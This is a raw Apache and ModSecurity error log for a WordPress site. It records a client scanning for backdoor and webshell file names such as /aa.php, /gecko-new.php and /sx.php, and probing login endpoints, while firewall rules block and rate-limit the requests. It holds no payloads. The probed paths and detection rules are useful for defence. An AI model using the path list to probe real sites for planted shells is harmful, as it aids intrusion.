[Thu Feb 26 22:16:57.228286 2026] [:error] [pid 55122:tid 55130] [client 20.151.107.14:63568] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.107.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaBV2YLiR0OfjFxvcN81VQAAAMY"]
[Thu Feb 26 22:16:58.435833 2026] [:error] [pid 55618:tid 55633] [client 20.151.107.14:63586] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaBV2h61Vrh12f_8oWQS7QAAAQw"]
[Thu Feb 26 22:17:06.469005 2026] [autoindex:error] [pid 44444:tid 44462] [client 20.151.107.14:64138] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:17:08.134661 2026] [:error] [pid 44444:tid 44466] [client 20.151.107.14:64138] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/widgets/"] [unique_id "aaBV5G2sMNmj-yekUk1G5QAAAhA"]
[Thu Feb 26 22:17:08.626129 2026] [:error] [pid 3883:tid 3906] [client 20.151.107.14:62945] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/widgets/"] [unique_id "aaBV5OA33x90V6yYHaj0dgAAAVQ"]
[Thu Feb 26 22:17:09.083856 2026] [:error] [pid 54990:tid 55012] [client 20.151.107.14:64232] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/widgets/"] [unique_id "aaBV5Xtr2qmt_mBhH2wufwAAABM"]
[Thu Feb 26 22:17:09.509256 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:64128] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/widgets/"] [unique_id "aaBV5W2sMNmj-yekUk1G6AAAAhI"]
[Thu Feb 26 22:17:09.978976 2026] [:error] [pid 54991:tid 55030] [client 20.151.107.14:62924] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaBV5d4Zx-mJ8gbRB2j65wAAAEo"]
[Thu Feb 26 22:17:10.420249 2026] [:error] [pid 44444:tid 44462] [client 20.151.107.14:63506] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaBV5m2sMNmj-yekUk1G7QAAAgw"]
[Thu Feb 26 22:17:10.847326 2026] [:error] [pid 55122:tid 55128] [client 20.151.107.14:64245] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaBV5oLiR0OfjFxvcN81YQAAAMQ"]
[Thu Feb 26 22:17:11.960750 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:63577] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaBV522sMNmj-yekUk1G8wAAAg4"]
[Thu Feb 26 22:17:13.486731 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:63589] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/admin.php"] [unique_id "aaBV6W2sMNmj-yekUk1G_gAAAgc"]
[Thu Feb 26 22:17:14.693627 2026] [:error] [pid 3883:tid 3897] [client 20.151.107.14:64239] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/admin.php"] [unique_id "aaBV6uA33x90V6yYHaj0fAAAAUs"]
[Thu Feb 26 22:17:15.236644 2026] [:error] [pid 3883:tid 3889] [client 20.151.107.14:64146] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/admin.php"] [unique_id "aaBV6-A33x90V6yYHaj0gAAAAUM"]
[Thu Feb 26 22:17:15.855092 2026] [:error] [pid 3883:tid 3896] [client 20.151.107.14:62954] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/admin.php"] [unique_id "aaBV6-A33x90V6yYHaj0hAAAAUo"]
[Thu Feb 26 22:17:16.331226 2026] [:error] [pid 20419:tid 20439] [client 20.151.107.14:63503] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/block/"] [unique_id "aaBV7O3DVDvMfTYYUBVmOQAAAdE"]
[Thu Feb 26 22:17:17.073778 2026] [:error] [pid 20419:tid 20423] [client 20.151.107.14:63553] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/block/"] [unique_id "aaBV7e3DVDvMfTYYUBVmPwAAAcE"]
[Thu Feb 26 22:17:17.549923 2026] [:error] [pid 20419:tid 20441] [client 20.151.107.14:63551] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/block/"] [unique_id "aaBV7e3DVDvMfTYYUBVmQQAAAdM"]
[Thu Feb 26 22:17:24.138114 2026] [:error] [pid 44444:tid 44460] [client 20.151.107.14:64159] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/block/"] [unique_id "aaBV9G2sMNmj-yekUk1HHgAAAgo"]
[Thu Feb 26 22:18:37.202067 2026] [:error] [pid 44444:tid 44466] [client 20.151.107.14:63523] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/edit.php"] [unique_id "aaBWPW2sMNmj-yekUk1ICQAAAhA"]
[Thu Feb 26 22:19:24.981655 2026] [:error] [pid 54991:tid 55034] [client 50.6.7.129:37392] [client 50.6.7.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.7.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBWbN4Zx-mJ8gbRB2j7wAAAAE4"]
[Thu Feb 26 22:20:06.598660 2026] [:error] [pid 54991:tid 55027] [client 20.151.107.14:64163] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.107.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aaBWlt4Zx-mJ8gbRB2j75AAAAEc"]
[Thu Feb 26 22:20:10.258718 2026] [:error] [pid 54991:tid 55030] [client 20.151.107.14:64163] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ab.php"] [unique_id "aaBWmt4Zx-mJ8gbRB2j75wAAAEo"]
[Thu Feb 26 22:20:50.211212 2026] [:error] [pid 54991:tid 55042] [client 20.151.107.14:64204] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aaBWwt4Zx-mJ8gbRB2j8NwAAAFY"]
[Thu Feb 26 22:20:52.062869 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:64189] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aaBWxG2sMNmj-yekUk1JZwAAAg0"]
[Thu Feb 26 22:20:52.850751 2026] [:error] [pid 55051:tid 55055] [client 20.151.107.14:63595] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aaBWxAmK1w2kZvh5eLHMYQAAAIE"]
[Thu Feb 26 22:20:53.605254 2026] [:error] [pid 44444:tid 44456] [client 20.151.107.14:63585] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aaBWxW2sMNmj-yekUk1JfgAAAgY"]
[Thu Feb 26 22:20:54.148352 2026] [:error] [pid 54990:tid 55002] [client 20.151.107.14:64218] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aaBWxntr2qmt_mBhH2wu6gAAAAk"]
[Thu Feb 26 22:20:54.569332 2026] [:error] [pid 55051:tid 55069] [client 20.151.107.14:63554] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBWxgmK1w2kZvh5eLHMZAAAAI8"]
[Thu Feb 26 22:20:55.063262 2026] [:error] [pid 44444:tid 44469] [client 20.151.107.14:63572] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBWx22sMNmj-yekUk1JhwAAAhM"]
[Thu Feb 26 22:20:55.702524 2026] [:error] [pid 55051:tid 55065] [client 20.151.107.14:64181] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBWxwmK1w2kZvh5eLHMZwAAAIs"]
[Thu Feb 26 22:20:56.373614 2026] [:error] [pid 44444:tid 44459] [client 20.151.107.14:64143] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBWyG2sMNmj-yekUk1JiwAAAgk"]
[Thu Feb 26 22:20:56.822670 2026] [:error] [pid 3883:tid 3902] [client 20.151.107.14:64219] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aaBWyOA33x90V6yYHaj1NQAAAVA"]
[Thu Feb 26 22:20:57.287460 2026] [:error] [pid 44444:tid 44473] [client 20.151.107.14:63598] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aaBWyW2sMNmj-yekUk1JlwAAAhc"]
[Thu Feb 26 22:20:57.777770 2026] [:error] [pid 25311:tid 25330] [client 20.151.107.14:63590] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aaBWydfdM__yZAgJFSvq2gAAAZA"]
[Thu Feb 26 22:20:58.341064 2026] [:error] [pid 25311:tid 25328] [client 20.151.107.14:64149] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aaBWytfdM__yZAgJFSvq3AAAAY4"]
[Thu Feb 26 22:20:58.873369 2026] [:error] [pid 55051:tid 55076] [client 20.151.107.14:64220] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBWygmK1w2kZvh5eLHMbgAAAJY"]
[Thu Feb 26 22:20:59.342118 2026] [:error] [pid 54991:tid 55033] [client 20.151.107.14:64152] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBWy94Zx-mJ8gbRB2j8QQAAAE0"]
[Thu Feb 26 22:20:59.849947 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:64144] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBWy22sMNmj-yekUk1JrQAAAgM"]
[Thu Feb 26 22:21:00.329523 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:64215] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBWzG2sMNmj-yekUk1JsgAAAgA"]
[Thu Feb 26 22:21:00.903992 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:63555] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaBWzN4Zx-mJ8gbRB2j8QwAAAFc"]
[Thu Feb 26 22:21:01.369930 2026] [:error] [pid 3883:tid 3892] [client 20.151.107.14:63610] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaBWzeA33x90V6yYHaj1NwAAAUY"]
[Thu Feb 26 22:21:01.821627 2026] [:error] [pid 54991:tid 55034] [client 20.151.107.14:64200] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaBWzd4Zx-mJ8gbRB2j8RgAAAE4"]
[Thu Feb 26 22:21:02.330915 2026] [:error] [pid 55618:tid 55630] [client 20.151.107.14:64132] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaBWzh61Vrh12f_8oWQT5AAAAQk"]
[Thu Feb 26 22:21:03.041703 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:63536] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aaBWz94Zx-mJ8gbRB2j8TAAAAFg"]
[Thu Feb 26 22:21:03.832147 2026] [:error] [pid 20419:tid 20446] [client 20.151.107.14:63500] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aaBWz-3DVDvMfTYYUBVnIgAAAdg"]
[Thu Feb 26 22:21:04.304891 2026] [:error] [pid 20419:tid 20430] [client 20.151.107.14:64161] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aaBW0O3DVDvMfTYYUBVnJwAAAcg"]
[Thu Feb 26 22:21:04.827880 2026] [:error] [pid 44444:tid 44467] [client 20.151.107.14:63565] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aaBW0G2sMNmj-yekUk1JwAAAAhE"]
[Thu Feb 26 22:21:05.292062 2026] [:error] [pid 55051:tid 55069] [client 20.151.107.14:64231] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaBW0QmK1w2kZvh5eLHMeQAAAI8"]
[Thu Feb 26 22:21:05.756464 2026] [:error] [pid 54991:tid 55020] [client 20.151.107.14:63557] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaBW0d4Zx-mJ8gbRB2j8VAAAAEA"]
[Thu Feb 26 22:21:06.203085 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:64157] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaBW0m2sMNmj-yekUk1JxAAAAgA"]
[Thu Feb 26 22:21:06.647529 2026] [:error] [pid 25311:tid 25329] [client 20.151.107.14:63582] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aaBW0tfdM__yZAgJFSvq5QAAAY8"]
[Thu Feb 26 22:21:07.120490 2026] [:error] [pid 55122:tid 55133] [client 20.151.107.14:64178] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin-header.php"] [unique_id "aaBW04LiR0OfjFxvcN81wQAAAMk"]
[Thu Feb 26 22:21:07.584875 2026] [:error] [pid 54990:tid 54996] [client 20.151.107.14:64191] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin-header.php"] [unique_id "aaBW03tr2qmt_mBhH2wu8QAAAAM"]
[Thu Feb 26 22:21:14.609542 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:63571] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aaBW2m2sMNmj-yekUk1J3QAAAgQ"]
[Thu Feb 26 22:21:16.991018 2026] [autoindex:error] [pid 44444:tid 44457] [client 20.151.107.14:64145] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
